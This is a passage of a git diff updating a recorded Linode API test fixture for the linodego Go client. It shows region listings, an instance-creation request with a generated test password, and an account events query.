1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": - "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object - Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium - Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, - 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, - 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", - "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, - 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, - 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, - 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, - 172.233.128.44", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-central", - "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, - 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, - 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", - "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, - 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, - 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, - 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, - 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, - 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": - "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", - "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:24:01 GMT + - Thu, 30 May 2024 22:58:15 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-2p64soi97pn6","root_pass":"?k9Po2@Jwy1|2J6~p-86p42IWLodUBd`=~x,6f?LRHw@7@GpD3pIO{789=9q{g;T","image":"linode/debian9","booted":false}' + body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-op32t5uq71s6","root_pass":"#Q2}Unh@0yK9N2j2,#[\u003cCe8wl9T]5c31TWKUO\u003ex4{0HJct5oof''BDi0\u00260(:a4''''B","image":"linode/debian9","firewall_id":498450,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54934116, "label": "go-test-ins-2p64soi97pn6", "group": "", "status": + body: '{"id": 59507871, "label": "go-test-ins-op32t5uq71s6", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.220.132"], "ipv6": "1234::5678/128", - "image": "linode/debian9", "region": "us-iad", "specs": {"disk": 25600, "memory": + "type": "g6-nanode-1", "ipv4": ["172.105.62.50"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "e07372a73e160e36b668a0b352f4b429466de827", "has_user_data": false}' + "de22f5dac5a8a313ea37e3d3c190cb671579b813", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "742" + - "765" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:24:01 GMT + - Thu, 30 May 2024 22:58:16 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -331,16 +382,16 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":54934116,"entity.type":"linode"}' + - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":59507871,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 649334264, "created": "2018-01-02T03:04:05", "seen": false, - "read": false, "percent_complete": 47, "time_remaining": null, "rate": null, - "duration": 15.141397, "action": "linode_create", "username": "zliang27", "entity": - {"label": "go-test-ins-2p64soi97pn6", "id": 54934116, "type": "linode", "url": - "/v4/linode/instances/54934116"}, "status": "started", "secondary_entity": {"id": - "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, + body: '{"data": [{"id": 727769916, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": 40, "time_remaining": null, "rate": null, + "duration": 15.304316, "action": "linode_create", "username": "youjungk01", + "entity": {"label": "go-test-ins-op32t5uq71s6", "id": 59507871, "type": "linode", + "url": "/v4/linode/instances/59507871"}, "status": "started", "secondary_entity": + {"id": "linode/debian9", "type": "image", "label": "Debian 9", 